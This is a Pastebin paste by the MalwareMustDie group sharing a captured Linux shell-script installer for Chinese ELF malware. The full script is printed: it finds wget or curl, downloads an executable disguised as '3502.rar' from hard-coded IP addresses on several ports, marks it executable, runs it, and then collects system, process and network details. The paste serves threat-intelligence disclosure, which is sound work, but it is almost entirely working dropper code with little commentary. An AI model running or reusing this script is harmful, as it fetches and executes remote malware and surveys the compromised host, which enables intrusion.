SHARE
TWEET

ShellScript "updated" installer | China ELF malware

MalwareMustDie Oct 7th, 2014 (edited) 1,001 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #MalwareMustDie-snagged this malicious script/credit: @shibumi
  2.  
  3. export PATH=$PATH:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:/boot/:/usr/:/:/etc/;
  4. filename="3502.rar";
  5. path=$filename;
  6. para="";
  7.  
  8. rm -rf $path || /dev/null > $path;
  9.  
  10. i=0;
  11.  
  12. for d in `echo wget curl`;
  13.   do i=$(($i+1));
  14.   command -v $d >/dev/null 2>1 && down=$d && break;
  15.   type $d >/dev/null 2>1 && down=$d && break;
  16.   hash $d >/dev/null 2>1 && down=$d && break;
  17. done;
  18.  
  19. if [ ! -z $down ];
  20.   then if [ $i == 1 ] ;
  21.     then para="";
  22.     else para=" -s --connect-timeout 30 -O $path ";
  23.     filename="3502_s.rar";
  24.   fi;
  25.   for list in `echo http://123.108.109.100/ http://123.108.109.100:53/ http://123.108.109.100:443/ http://178.33.196.164/ http://178.33.196.164:53/ http://178.33.196.164:443/`;
  26.     do $down $para $list$filename >/dev/null 2>1 && break;
  27.   done ;
  28.  
  29.   if [ -f $path ];
  30.     then chmod +x $path;
  31.     ./$path && echo InstallOK;
  32.   fi;
  33.  
  34. fi;
  35.  
  36. sleep 1;
  37. uname -a;
  38. cat /etc/issue;
  39. (ps -ef||ps aux||ps x)|grep -v $$;
  40. netstat -antop||netstat -ano|netstat -an;
  41. echo ExecOK
  42.  
  43. #---
  44. #MalwareMustDie
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top